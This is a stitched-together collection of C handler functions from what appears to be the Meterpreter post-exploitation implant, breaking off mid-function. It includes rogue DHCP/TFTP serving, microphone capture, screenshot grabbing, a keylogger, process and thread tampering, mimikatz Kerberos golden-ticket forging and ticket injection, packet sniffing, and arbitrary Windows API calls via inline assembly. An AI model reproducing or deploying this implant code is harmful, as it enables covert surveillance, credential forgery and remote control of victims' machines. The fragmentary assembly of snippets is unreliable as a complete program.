//Set a DHCP option based on the name and value specified in the packet
DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet){
	DWORD retval = ERROR_SUCCESS;
	char* name = NULL;
	unsigned int namelen = 0;
	Packet *response = packet_create_response(packet);

	do{
		//Get option value
		Tlv tlv;
		if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
			break;
		//Get option name
		name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
		namelen = strlen(name);
		setDHCPOption(dhcpserver, name, namelen, tlv.buffer, tlv.header.length);
	} while (0);

	packet_transmit_response(retval, remote, response);
	return ERROR_SUCCESS;
}
//Adds a file to serve based on the name and value specified in the packet
DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet){
	DWORD retval = ERROR_SUCCESS;
	char* name = NULL;
	unsigned int namelen = 0;
	Packet *response = packet_create_response(packet);

	do{
		Tlv tlv;
		//Get file contents
		if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
			break;
		//Get file name
		name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
		namelen = strlen(name);
		addTFTPFile(tftpserver, name, namelen, tlv.buffer, tlv.header.length);
	} while (0);

	packet_transmit_response(retval, remote, response);
	return ERROR_SUCCESS;
}
/*
 * core_channel_interact
 * ---------------------
 *
 * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with
 * req: TLV_TYPE_BOOL       -- True if interactive, false if not.
 */
DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	Channel *channel = NULL;
	DWORD channelId;
	DWORD result = ERROR_SUCCESS;
	BOOLEAN interact;

	// Get the channel identifier
	channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
	interact  = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL);

	// If the channel is found, set the interactive flag accordingly
	if ((channel = channel_find_by_id(channelId)))
	{
		lock_acquire( channel->lock );

		// If the response packet is valid
		if ((response) &&
		    (channel_get_class(channel) != CHANNEL_CLASS_BUFFERED))
		{
			NativeChannelOps *native = (NativeChannelOps *)&channel->ops;

			// Check to see if this channel has a registered interact handler
			if (native->interact)
				result = native->interact(channel, packet, native->context, 
						interact);
		}

		// Set the channel's interactive state
		channel_set_interactive(channel, interact);

		lock_release( channel->lock );
	}

	// Send the response to the requestor so that the interaction can be 
	// complete
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
/*
 * Grabs the audio from mic.
 */
DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	char *wave = NULL;

	if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME)))
	{
		res = GetLastError();
	}

	//packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave);


	packet_transmit_response(res, remote, response);

	if (wave)
	free(wave);

	return res;
}
/*
 * Closes a handle that was opened via the attach method
 *
 * req: TLV_TYPE_HANDLE - The process handle to close.
 */
DWORD request_sys_process_close(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	HANDLE handle;
	DWORD result = ERROR_SUCCESS;
	handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);


	if (handle)
	{
		if (handle != GetCurrentProcess())
			CloseHandle(handle);
	}
	else
		result = ERROR_INVALID_PARAMETER;

	// Send the response packet to the requestor
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
/*
 * Free memory in the context of the supplied process
 *
 * req: TLV_TYPE_HANDLE       - The handle to free memory within.
 * req: TLV_TYPE_BASE_ADDRESS - The base address of the memory to free.
 * opt: TLV_TYPE_LENGTH       - The size, in bytes, to free.
 */
DWORD request_sys_process_memory_free(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	HANDLE handle;
	SIZE_T size;
	LPVOID base;
	DWORD result = ERROR_SUCCESS;

	handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
	base   = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS);
	size   = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH);

	// Free the memory
	if (!VirtualFreeEx(handle, base, size, MEM_RELEASE))
		result = GetLastError();

	// Transmit the response
	packet_transmit_response(result, remote, packet);

	return ERROR_SUCCESS;
}
/*
 * Grabs screenshot.
 */
DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;

	HWND hDesktopWnd;	
	HDC hdc;
	HDC hmemdc;
	HBITMAP hbmp;
	int sx,sy;
    
	hDesktopWnd = GetDesktopWindow();
	hdc = GetDC(hDesktopWnd);
	hmemdc = CreateCompatibleDC(hdc);

	if(hdc){
		sx = GetSystemMetrics(SM_CXSCREEN);
        sy = GetSystemMetrics(SM_CYSCREEN);
        
        hbmp = CreateCompatibleBitmap(hdc,sx,sy);
       
		if (hbmp) {
			SelectObject(hmemdc, hbmp);
			BitBlt(hmemdc,0,0,sx,sy,hdc,0,0,SRCCOPY);
			convert_bmp_and_send(hbmp, hmemdc,response);
			
			ReleaseDC(hDesktopWnd,hdc);
			DeleteDC(hmemdc);
			DeleteObject(hbmp);



		}
	}		

	packet_transmit_response(res, remote, response);


	return res;
}
Exemple #8
0
/*
 * Attaches to the supplied process identifier.  If no process identifier is
 * supplied, the handle for the current process is returned to the requestor.
 *
 * req: TLV_TYPE_PID - The process to attach to.
 */
DWORD request_sys_process_attach(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
#ifdef _WIN32
	HANDLE handle = NULL;
	DWORD result = ERROR_SUCCESS;
	DWORD pid;

	// Get the process identifier that we're attaching to, if any.
	pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);

	// No pid? Use current.
	if (!pid)
		handle = GetCurrentProcess();
	// Otherwise, attach.
	else
	{
		BOOLEAN inherit = packet_get_tlv_value_bool(packet,
				TLV_TYPE_INHERIT);
		DWORD permission = packet_get_tlv_value_uint(packet, 
				TLV_TYPE_PROCESS_PERMS);

		handle = OpenProcess(permission, inherit, pid);
	}

	// If we have a handle, add it to the response
	if (handle)
		packet_add_tlv_uint(response, TLV_TYPE_HANDLE, (DWORD)handle);
	else
		result = GetLastError();
#else
	DWORD result = ERROR_NOT_SUPPORTED;
#endif

	// Send the response packet to the requestor
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
/*
 * Terminate the supplied thread with the supplied exit code
 *
 * req: TLV_TYPE_THREAD_HANDLE - The thread to terminate.
 * req: TLV_TYPE_EXIT_CODE - The exit code to use when terminating.
 */
DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	HANDLE thread;
	DWORD result = ERROR_SUCCESS;
	DWORD code;

	if ((thread = (HANDLE)packet_get_tlv_value_uint(packet, 
			TLV_TYPE_THREAD_HANDLE)))
	{
		code = packet_get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE);

		if (!TerminateThread(thread, code))
			result = GetLastError();
	}
	else
		result = ERROR_INVALID_PARAMETER;

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Exemple #10
0
DWORD request_resolve_host(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR hostname = NULL;
	struct in_addr addr;
	struct in6_addr addr6;
	u_short ai_family = AF_INET;
	int iResult;

	hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME);

	if (!hostname)
	{
		iResult = ERROR_INVALID_PARAMETER;
		dprintf("Hostname not set");
	}
	else
	{
		ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
		iResult = resolve_host(hostname, ai_family, &addr, &addr6);
		if (iResult == NO_ERROR)
		{
			if (ai_family == AF_INET)
			{
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
			} else {
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
			}
			packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
		}
		else
		{
			dprintf("Unable to resolve_host %s error: %x", hostname, iResult);
		}
	}

	packet_transmit_response(iResult, remote, response);
	return ERROR_SUCCESS;
}
Exemple #11
0
/*!
 * @brief Handler for the use kerberos ticket message.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the incoming packet.
 * @returns \c ERROR_SUCCESS
 */
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
{
	Packet * response = packet_create_response(packet);
	DWORD result = ERROR_INVALID_PARAMETER;
	Tlv ticketTlv;

	result = packet_get_tlv(packet, TLV_TYPE_KIWI_KERB_TKT_RAW, &ticketTlv);

	if (result == ERROR_SUCCESS)
	{
		dprintf("[KIWI] Ticket size: %u bytes", ticketTlv.header.length);
		result = mimikatz_kerberos_ticket_use(ticketTlv.buffer, ticketTlv.header.length);
	}
	else
	{
		dprintf("[KIWI] Failed to get ticket content");
	}

	packet_transmit_response(result, remote, response);

	return result;
}
/*
 * core_channel_close
 * ------------------
 *
 * Closes a previously opened channel.
 *
 * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close
 */
DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS, channelId;
	Channel *channel = NULL;

	dprintf("[CHANNEL] remote_request_core_channel_close.");

	do
	{
		// Get the channel identifier
		channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);

		// Try to locate the specified channel
		if (!(channel = channel_find_by_id(channelId)))
		{
			res = ERROR_NOT_FOUND;
			break;
		}

		// Destroy the channel
		channel_destroy(channel, packet);

		if (response)
		{
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
		}

	} while (0);

	// Transmit the acknowledgement
	if (response)
	{
		res = packet_transmit_response(res, remote, response);
	}

	return res;
}
Exemple #13
0
/*!
 * @brief Handler for the create golden kerberos ticket message.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the incoming packet.
 * @returns \c ERROR_SUCCESS
 */
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
{
	DWORD dwResult;
	Packet * response = packet_create_response(packet);
	DWORD dwGroupCount = 0;
	DWORD* pdwGroups = NULL;
	Tlv groupIdTlv;
	char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER);
	char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN);
	char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID);
	char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT);
	DWORD userId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_GOLD_USERID);

	if (!user || !domain || !sid || !tgt)
	{
		dwResult = ERROR_INVALID_PARAMETER;
	}
	else
	{
		while (packet_enum_tlv(packet, dwGroupCount, TLV_TYPE_KIWI_GOLD_GROUPID, &groupIdTlv) == ERROR_SUCCESS)
		{
			pdwGroups = (DWORD*)realloc(pdwGroups, sizeof(DWORD) * (dwGroupCount + 1));

			if (!pdwGroups)
			{
				BREAK_WITH_ERROR("Unable to allocate memory for groups", ERROR_OUTOFMEMORY);
			}

			pdwGroups[dwGroupCount++] = htonl(*(UINT*)groupIdTlv.buffer);
		}

		dwResult = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, userId, pdwGroups, dwGroupCount, response);
	}

	packet_transmit_response(dwResult, remote, response);

	return ERROR_SUCCESS;
}
/*
 * Opens a thread with the supplied identifier using the supplied permissions
 * and returns a HANDLE to the requestor
 *
 * req: TLV_TYPE_THREAD_ID    - The thread identifier to open
 * req: TLV_TYPE_THREAD_PERMS - Thre thread permissions to open with
 */
DWORD request_sys_process_thread_open(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	HANDLE handle = NULL;
	DWORD result = ERROR_SUCCESS;
	DWORD threadId;
	DWORD perms;

	// Get the parameters
	threadId = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_ID);
	perms    = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_PERMS);

	do
	{
		// Validate parameters
		if (!threadId)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Open the thread
		if (!(handle = OpenThread(perms, FALSE, threadId)))
		{
			result = GetLastError();
			break;
		}

		// Add the handle to the response packet
		packet_add_tlv_uint(response, TLV_TYPE_THREAD_HANDLE, 
				(DWORD)handle);

	} while (0);

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Exemple #15
0
/*!
 * @brief Check to see if a registry key exists.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request \c Packet instance.
 * @returns Always returns \c ERROR_SUCCESS.
 */
DWORD request_registry_check_key_exists(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCTSTR baseKey = NULL;
	HKEY rootKey = NULL;
	HKEY resultKey = NULL;
	BOOL exists = FALSE;
	DWORD result;

	rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY);
	baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY);

	if (rootKey && baseKey)
	{
		result = RegOpenKeyA(rootKey, baseKey, &resultKey);
		if (result == ERROR_SUCCESS)
		{
			dprintf("[REG] Key found");
			RegCloseKey(resultKey);
			exists = TRUE;
		}

		dprintf("[REG] Key exists? %s", exists ? "TRUE" : "FALSE");
		packet_add_tlv_bool(response, TLV_TYPE_BOOL, exists);
		result = ERROR_SUCCESS;
	}
	else
	{
		dprintf("[REG] Invalid parameter");
		result = ERROR_INVALID_PARAMETER;
	}

	dprintf("[REG] Returning result: %u %x", result, result);
	packet_transmit_response(result, remote, response);

	dprintf("[REG] done.");
	return ERROR_SUCCESS;
}
Exemple #16
0
/*
 * Expands a file path and returns the expanded path to the requestor
 *
 * req: TLV_TYPE_FILE_PATH - The file path to expand
 */
DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	LPSTR expanded = NULL;
	LPSTR regular;

	regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	do
	{
		// No regular path?
		if (!regular)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Allocate storage for the expanded path
		if (!(expanded = fs_expand_path(regular)))
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded);

	} while (0);

	// Transmit the response to the mofo
	packet_transmit_response(result, remote, response);

	if (expanded)
		free(expanded);

	return ERROR_SUCCESS;
}
Exemple #17
0
DWORD request_ui_start_keyscan(Remote *remote, Packet *request)
{
	Packet *response = packet_create_response(request);
	DWORD result = ERROR_SUCCESS;

	bool track_active_window = packet_get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW);

	// set appropriate logging function
	(track_active_window == true) ? (gfn_log_key = &ui_log_key_actwin) : (gfn_log_key = &ui_log_key);

	if (KEYSCAN_RUNNING) {
		result = 1;
	}
	else {
		// Make sure we have access to the input desktop
		if (GetAsyncKeyState(0x0a) == 0) {
			// initialize g_keyscan_buf
			if (g_keyscan_buf) {
				free(g_keyscan_buf);
				g_keyscan_buf = NULL;
			}

			g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR));

			tKeyScan = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL);
			KEYSCAN_RUNNING = true;
		}
		else {
			// No permission to read key state from active desktop
			result = 5;
		}
	}

	// Transmit the response
	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
Exemple #18
0
DWORD request_ui_send_keys(Remote *remote, Packet *request)
{
	Packet *response = packet_create_response(request);
	DWORD result = ERROR_SUCCESS;
	wchar_t *keys = utf8_to_wchar(packet_get_tlv_value_string(request, TLV_TYPE_KEYS_SEND));
	if (keys) 
	{
		INPUT input[2] = {0};
		input[0].type = INPUT_KEYBOARD;
		input[0].ki.time = 0;
		input[0].ki.wVk = 0;
		input[0].ki.dwExtraInfo = 0;
		input[0].ki.dwFlags = KEYEVENTF_UNICODE;
		input[1].type = INPUT_KEYBOARD;
		input[1].ki.time = 0;
		input[1].ki.wVk = 0;
		input[1].ki.dwExtraInfo = 0;
		input[1].ki.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP;
		wchar_t *loopkeys = keys;
		while (*loopkeys != 0) 
		{
			input[0].ki.wScan = *loopkeys;
			input[1].ki.wScan = *loopkeys;
			SendInput(2, input, sizeof(INPUT));
			loopkeys++;
		}
		free(keys);
	}
	else 
	{
		result = 1;
	}

	// Transmit the response
	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
Exemple #19
0
/*
 * Wait on a process handle until it terminates.
 *
 * req: TLV_TYPE_HANDLE - The process handle to wait on.
 */
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
{
	Packet * response = packet_create_response( packet );
	HANDLE handle     = NULL;
	DWORD result      = ERROR_INVALID_PARAMETER;

	handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE );
#ifdef _WIN32

	if( handle )
	{
		if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
			result = ERROR_SUCCESS;
	}
#else
	if( ! waitpid(handle, NULL, WNOHANG)) 
	{
		result = ERROR_SUCCESS;
	}
#endif
	packet_transmit_response( result, remote, response );

	return result;
}
Exemple #20
0
/*
 * Kills one or more supplied processes
 *
 * req: TLV_TYPE_PID [n]
 */
DWORD request_sys_process_kill(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv pidTlv;
	DWORD index = 0;

	while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID,
			&pidTlv) == ERROR_SUCCESS) && 
			(pidTlv.header.length >= sizeof(DWORD)))
	{
		DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer);
		HANDLE h = NULL;

#ifdef _WIN32 
		// Try to attach to the process
		if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid)))
		{
			result = GetLastError();
			break;
		}

		if (!TerminateProcess(h, 0))
			result = GetLastError();

		CloseHandle(h);
#else
		kill(pid, 9);
#endif
	}

	// Transmit the response
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Exemple #21
0
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
	Packet *response = packet_create_response(packet);
	unsigned int ifid;
	CaptureJob *j;
	DWORD result;

	check_pssdk();
	dprintf("sniffer>> capture_stats()");

	ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
	dprintf("sniffer>> capture_stats(0x%.8x)", ifid);

	result = ERROR_SUCCESS;

	do {
		// the interface is invalid
		if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}
		
		j = &open_captures[ifid];

		// the interface was not captured
		if(! j->adp) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes);
	} while(0);
	
	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
/*!
 * @brief Get the current hash that is used for SSL certificate verification.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 */
DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet)
{
	DWORD result = ERROR_SUCCESS;
	Packet* response;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Rather than error out if the transport isn't HTTPS, we'll just return
		// an empty response. This prevents a horrible error appearing in the
		// MSF console
		if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS)
		{
			HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
			if (ctx->cert_hash)
			{
				packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
			}
		}

		result = ERROR_SUCCESS;
	} while (0);

	if (response)
	{
		packet_transmit_response(result, remote, response);
	}

	return result;
}
Exemple #23
0
/*
 * Unloads an image file using the base address supplied by the requestor
 *
 * req: TLV_TYPE_HANDLE     - The process to unload the image in
 * req: TLV_TYPE_IMAGE_BASE - The base address of the image to unload
 */
DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	HANDLE handle;
	LPVOID base;
	DWORD result = ERROR_SUCCESS;

	handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
	base   = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_IMAGE_BASE);

	do
	{
		// Validate parameters
		if ((!handle) ||
		    (!base))
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		if (handle != GetCurrentProcess())
			result = remote_unload_library(handle, base);
		else
		{
			// Unload the library
			if (!FreeLibrary(base))
				result = GetLastError();
		}

	} while (0);

	// Transmit the response
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
// Multi-request railgun API
DWORD request_railgun_api_multi(Remote *remote, Packet *packet)
{
	DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements;
	BYTE * bufferIN=NULL;
	BYTE * bufferOUT=NULL;
	BYTE * bufferINOUT=NULL;
	DWORD * stack = NULL;
	DWORD returnValue; // returnValue of the function
	const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV
	Tlv stackDescriptorTlv;
	const char * dllName;
	const char * funcName;
	HMODULE hDll;
	void * funcAddr;
	DWORD ii;
	DWORD lastError;
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv reqTlv;
	Tlv tmpTlv;
	DWORD index = 0;
	Tlv   tlvs[4];

	dprintf("request_railgun_api_multi() processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length);

	while ( packet_enum_tlv(packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv) == ERROR_SUCCESS ) {
		dprintf("request_railgun_api_multi(%d)", index);

		// Prepare the OUT-Buffer (undefined content)
		if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv) != ERROR_SUCCESS ) {
			dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_SIZE_OUT");
			goto cleanup;
		}


		bufferSizeOUT = ntohl(*(LPDWORD)tmpTlv.buffer);
		dprintf("bufferSizeOUT == %d",bufferSizeOUT);
		if (bufferSizeOUT != 0){
			bufferOUT = (BYTE *)malloc(bufferSizeOUT);
			memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs
		}
		dprintf("bufferOUT @ 0x%08X",bufferOUT);

		// get the IN-Buffer
		dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
		bufferIN = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_IN, &bufferSizeIN);
		dprintf("bufferIN @ 0x%08X",bufferIN);
		if (bufferIN == NULL){
			dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
			goto cleanup;
		}
		dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN);

		// get the INOUT-Buffer
		dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
		bufferINOUT = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, &bufferSizeINOUT);
		dprintf("bufferINOUT @ 0x%08X",bufferINOUT);
		if (bufferINOUT == NULL){
			dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
			goto cleanup;
		}
		dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT);

		// Get DLLNAME
		if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv) != ERROR_SUCCESS ) {
			dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME");
			goto cleanup;
		}
		dllName = (PCHAR)tmpTlv.buffer;
		if (dllName == NULL){
			dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME");
			goto cleanup;
		}
		dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName);

		// Get funcNAME
		if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv) != ERROR_SUCCESS ) {
			dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME");
			goto cleanup;
		}
		funcName = (PCHAR)tmpTlv.buffer;
		if (funcName == NULL){
			dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME");
			goto cleanup;
		}
		dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName);

		// get address of function
		hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc.
		if (hDll == NULL){
			dprintf("LoadLibraryA() failed");
			goto cleanup;
		}
		funcAddr = (void*)GetProcAddress(hDll,funcName);
		if (funcAddr == NULL){
			dprintf("GetProcAddress() failed");
			goto cleanup;
		}

		// get the Stack-description (1 DWORD description, 1 DWORD data)
		dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB");
		if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS ) {
			dprintf("packet_get_tlv_group_entry failed");
			goto cleanup;
		}
		dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length);
		if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){
			dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense");
		}
		dprintf("Function at 0x%08X.",funcAddr);


		stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD));
		stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer;
		stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD));
		dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length);
		dprintf("stackSizeInElements: %d",stackSizeInElements);
		dprintf("stack @ 0x%08X",stack);

		// To build the stack we have to process the items.
		// depending on their types the items are
		// 0 - literal values
		// 1 = relative pointers to bufferIN. Must be converted to absolute pointers
		// 2 = relative pointers to bufferOUT. Must be converted to absolute pointers
		// 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers
		for (ii=0; ii<stackSizeInElements; ii++){
			DWORD itemType,item;
			itemType = stackDescriptorBuffer[ii*2];
			item = stackDescriptorBuffer[ii*2+1];
			switch(itemType){
				case 0:	// do nothing. item is a literal value
						dprintf("Param %d is literal:0x%08X.",ii,item);
						stack[ii] = item;
						break;
				case 1:	// relative ptr to bufferIN. Convert to absolute Ptr
						stack[ii] = item + ((DWORD)bufferIN);
						dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]);
						break;
				case 2:	// relative ptr to bufferOUT. Convert to absolute Ptr
						stack[ii] = item + ((DWORD)bufferOUT);
						dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
						break;
				case 3:	// relative ptr to bufferINOUT. Convert to absolute Ptr
						stack[ii] = item + ((DWORD)bufferINOUT);
						dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
						break;
				default:
					dprintf("Invalid stack item description %d for item %d",itemType,ii);
					goto cleanup;
			}
		}

		dprintf("calling function..");
		SetLastError(0);
		// written for readability. 
		// The compiler MUST use EBP to reference variables, sinde  we are messing with ESP.
		// In MSVC parlance "Omit Frame pointers" OFF!
		__asm{	
			pusha
			// save ESP
			mov EBX,ESP

			//"push" all params on the stack
			mov ECX,[stackSizeInElements]
			mov ESI,[stack]
			sub ESP,ECX  
			sub ESP,ECX  
			sub ESP,ECX  
			sub ESP,ECX  
			mov EDI,ESP
			cld
			rep movsd
			//and call!
			mov eax,[funcAddr]
			call eax
			// restore stack. no matter the calling convention
			mov esp,ebx // starting here we can use vars again
			mov [returnValue],EAX
			popa
		}
		lastError = GetLastError(); //must be called immediately after function

		dprintf("called function => %d",lastError);
		
		// time to ship stuff back
		tlvs[0].header.length = sizeof(DWORD);
		tlvs[0].header.type   = TLV_TYPE_RAILGUN_BACK_ERR;
		tlvs[0].buffer        = (PUCHAR)&lastError;
		tlvs[1].header.length = sizeof(DWORD);
		tlvs[1].header.type   = TLV_TYPE_RAILGUN_BACK_RET;
		tlvs[1].buffer        = (PUCHAR)&returnValue;
		tlvs[2].header.length = bufferSizeOUT;
		tlvs[2].header.type   = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT;
		tlvs[2].buffer        = (PUCHAR)bufferOUT;
		tlvs[3].header.length = bufferSizeINOUT;
		tlvs[3].header.type   = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT;
